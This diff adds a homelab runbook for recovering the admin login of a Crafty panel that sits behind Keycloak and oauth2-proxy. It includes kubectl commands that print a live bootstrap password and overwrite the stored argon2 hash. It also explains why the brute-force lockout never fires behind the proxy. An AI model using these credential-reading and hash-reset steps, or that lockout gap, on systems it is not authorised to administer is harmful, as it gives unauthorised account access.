@@ -115,6 +115,12 @@ Each affected runbook says so on its own page and gives the by-hand equivalent.
plex.tv/claim — so it is a timed sequence, scripted as `infra/plex/claim-ship.sh`:
token → `sops` → PR → gate → merge → **forced** `flux reconcile` → pod roll (~2m45s measured).
Includes why a changed Secret does not restart anything, and why an expired token is harmless.
- **`crafty-admin-credential`** — you signed into Keycloak and Crafty *still* asks for a password.
Expected: Crafty 4 has no OIDC, so its own local login sits behind the oauth2-proxy gate as a second
factor. The page tells the two layers apart from the sidecar log, and explains that the bootstrap
password exists **only** on the PVC (`default-creds.txt`, generated once on first boot, never in git).
Includes the argon2 reset for a lost password, why the 3-strikes lockout cannot fire behind the
sidecar, and why deleting `crafty.sqlite` to force a new password destroys every server definition.
### Virtualisation
- **`kubevirt-control-plane`** — VM lifecycle operations will fail; running VMs keep running.
+179
View File
@@ -0,0 +1,179 @@
# crafty-admin-credential — Crafty's own login rejects you after Keycloak sign-in
**Not alert-driven.** This is an operator procedure, linked from
[`platform/crafty/README.md`](../platform/crafty/README.md). It covers getting into the Crafty panel the
first time, rotating that credential, and recovering when it is lost.
> **Everything below prints or sets a LIVE credential.** Do not paste the output into a PR, an issue, a
> chat, or an AI agent transcript. Read it, use it, rotate it. (Repo rule §6: secrets never enter a
> transcript.)
## What this means here
`crafty.home.keithjackson.dev` sits behind **two** independent authentications, and only the first is
Keycloak's:
1. the **oauth2-proxy sidecar** in the Crafty pod — Keycloak `homelab` realm, group `platform-admins`;
2. **Crafty's own local username/password login** — Crafty 4 has no OIDC and cannot consume the
sidecar's identity headers, so it shows its own login page to an already-authenticated user.
So "I signed into Keycloak and I'm still not signed in" is the **expected** shape of this service, and
the real question is only ever *which* of the two rejected you. They fail differently:
| Where you are | What you see | Which layer |
|---|---|---|
| Bounced to Keycloak repeatedly, never reach Crafty | sidecar log: `No valid authentication in request` | oauth2-proxy |
| Authenticated but `403` | not in `platform-admins` | oauth2-proxy |
| **Crafty's own login page, credentials refused** | `POST /api/v2/auth/login/` → **401** | **Crafty local** |
The third row is the one that blocks setup, because **nothing in the UI tells you where that password
comes from**. Crafty generates it **once, on first boot only** — when the users table is empty
(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`) — and writes it to
`/crafty/app/config/default-creds.txt` (mode `0600`) on the `config` subPath of the `crafty-data` PVC.
It is **never in git** and **cannot be recovered from git**: a rebuild onto a fresh PVC generates a new
random password, and the old one is gone with the old volume.
Two things that are *not* the problem, both verified live:
- **Repeated wrong guesses cannot lock you out.** Crafty *records* failed attempts under
`get_remote_ip()` (honours `X-Forwarded-For`) but *checks* the 3-strikes cooldown under
`self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The halves key
differently, so `max_login_attempts: 3` never fires. (It also means that throttle is not a control
you have — the `platform-admins` gate is what limits who reaches the form at all.)
- **Crafty's `set_passwd` console command is unreachable here.** It calls `getpass.getpass()` and needs
a TTY; the container runs `main.py -d -i` as a daemon. Recovery goes through the DB instead.
## First commands
`kubectl` does not exist on the workstation — the toolchain lives only in the pinned dev container, and
`dev.sh` picks a current-context **per invocation**, so always name the context.
**1. Is the pod healthy, and is the password still the generated one?**
```bash
./infra/devcontainer/dev.sh run bash -c '
kubectl --context k3s-prod -n crafty get pods -l app.kubernetes.io/name=crafty
kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
import sqlite3
c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
for r in c.execute(\"SELECT username,created,last_update,last_login FROM users WHERE user_id=1\"):
print(\"created :\",r[1]); print(\"last_update:\",r[2]); print(\"last_login :\",r[3])
"'
```
Read `last_update` against `created`: **equal ⇒ the password has never been changed**, so
`default-creds.txt` is still live. Different ⇒ someone rotated it and that file is stale — skip to
*Reset*.
**2. Read the bootstrap credential** (prints a live secret — see the warning at the top):
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/default-creds.txt'
```
The username is `admin`. Sign in at `https://crafty.home.keithjackson.dev` (Keycloak first, then this).
**3. Rotate it immediately**, in the UI: user menu → your profile → change password. That is the only
supported path that keeps Crafty's own bookkeeping consistent. Then confirm it took — re-run command 1
and check `last_update` has moved away from `created`.
## Likely causes, most likely first
1. **You never had the password.** By far the most common, and the reason this runbook exists. The
credential was only ever on the PVC. → commands 1–3 above.
2. **The password was rotated and not recorded.** `last_update` ≠ `created` while nobody knows the
value. `default-creds.txt` is now misleading, not authoritative. → *Reset* below.
3. **The PVC was rebuilt.** A fresh volume means a fresh random password *and* an empty panel — no
servers, no worlds (`platform/crafty/README.md`, "the servers themselves are NOT in git"). Read
`default-creds.txt` from the new pod; do not expect the old credential to work.
4. **You are actually stuck at the oauth2-proxy layer, not Crafty's.** Check which layer is talking
before touching any password:
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty logs deploy/crafty -c oauth2-proxy --tail=200 | grep -v kube-probe'
```
`[AuthSuccess] ... groups:[platform-admins]` followed by a `200` on `/login` means oauth2-proxy did
its job and the 401 is Crafty's. Repeated `No valid authentication in request` with no `AuthSuccess`
means the session cookie is not surviving — see *cookie isolation* in
`platform/crafty/README.md`; this sidecar must keep its own `--cookie-name` distinct from the shared
proxy's, or the two evict each other.
5. **`platform-admins` membership lapsed.** A `403` rather than a login page. Fix in Keycloak, not here.
## Reset when the password is unknown
Crafty stores an **argon2** hash in `users.password`. This writes a fresh random password, invalidates
existing sessions, and drops the new value into a `0600` file **inside the pod** — deliberately
mirroring Crafty's own `default-creds.txt` idiom so the secret never crosses argv, stdin or shell
history. (`dev.sh` does **not** forward stdin — a `kubectl exec -i` here hangs forever, which is why the
password is generated in-pod rather than passed in.)
Two details that will otherwise cost you the afternoon: argon2 is installed **only** in Crafty's venv,
so it must be `/crafty/.venv/bin/python`, not the system `python3`; and this is a **mutating operator
action**, not an agent action.
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- /crafty/.venv/bin/python -c "
import os, secrets, sqlite3, string, datetime
from argon2 import PasswordHasher
pw = \"\".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(24))
now = datetime.datetime.now()
c = sqlite3.connect(\"/crafty/app/config/db/crafty.sqlite\", timeout=30)
cur = c.execute(
\"UPDATE users SET password=?, last_update=?, valid_tokens_from=? WHERE username=?\",
(PasswordHasher().hash(pw), str(now),
str(datetime.datetime.now(datetime.timezone.utc)), \"admin\"),
)
c.commit()
print(\"rows updated:\", cur.rowcount)
out = \"/crafty/app/config/reset-creds.txt\"
open(out, \"w\").write(pw + chr(10))
os.chmod(out, 0o600)
print(\"new password written to\", out)
"'
```
Expect `rows updated: 1`. Then read it, sign in, rotate in the UI, and delete the file:
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/reset-creds.txt'
# after signing in and rotating:
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- rm -f /crafty/app/config/reset-creds.txt'
```
`rows updated: 0` means the username is not `admin` — list the accounts (names only, never the
`password` column) and retry against the right one:
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
import sqlite3
c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
print([r[0] for r in c.execute(\"SELECT username FROM users\")])
"'
```
`database is locked` means Crafty held the write lock; the `timeout=30` usually rides it out, otherwise
retry. The panel picks the new hash up on the next login attempt — no restart needed, and a restart
costs a Minecraft-server stop (`strategy: Recreate` on an RWO volume), so do not restart reflexively.
## When to escalate or stop
- **Stop** as soon as you can sign in, and **rotate immediately** — do not leave the generated
bootstrap password in place as the standing admin credential, and do not leave `reset-creds.txt` on
the PVC.
- **Do not `kubectl edit`/`patch`/`apply`** the Deployment to work around a login problem. Flux
reconciles `main`; hand-applied changes are drift. Manifest changes go through a branch and a PR.
- **Do not delete `crafty.sqlite`** to force a "fresh install" and a new generated password. It holds
every server definition — jar, ports, heap, `auto_start` — and losing it means recreating each server
by hand, re-accepting the Mojang EULA, and re-`PATCH`ing `auto_start`. The worlds under
`/crafty/servers/<uuid>/` are not in git and not recreatable. The reset above is always cheaper.
- **Escalate to the Keycloak side** (`runbooks/keycloak-down.md`,
`runbooks/keycloak-client-secrets.md`) if there is no `AuthSuccess` in the sidecar log at all — that
is an IdP or client-secret problem and no Crafty password will help.
- **If `default-creds.txt` is absent on a pod whose DB says the password was never changed**, stop and
hand off: that combination should not occur, and it suggests the `config` subPath is not the volume
you think it is. Record what you measured rather than guessing.
+3
View File
@@ -60,6 +60,9 @@ configMapGenerator:
- cnpg-exporter=cnpg-exporter.md
- cnpg-primary-spread=cnpg-primary-spread.md
- cnpg-wal-growth=cnpg-wal-growth.md
# Operator procedure, not alert-linked (Crafty's local login is a second factor behind
# the Keycloak gate and its bootstrap password lives only on the PVC).
- crafty-admin-credential=crafty-admin-credential.md
- denied-flows=denied-flows.md
- flux-reconcile=flux-reconcile.md
- flux-suspended=flux-suspended.md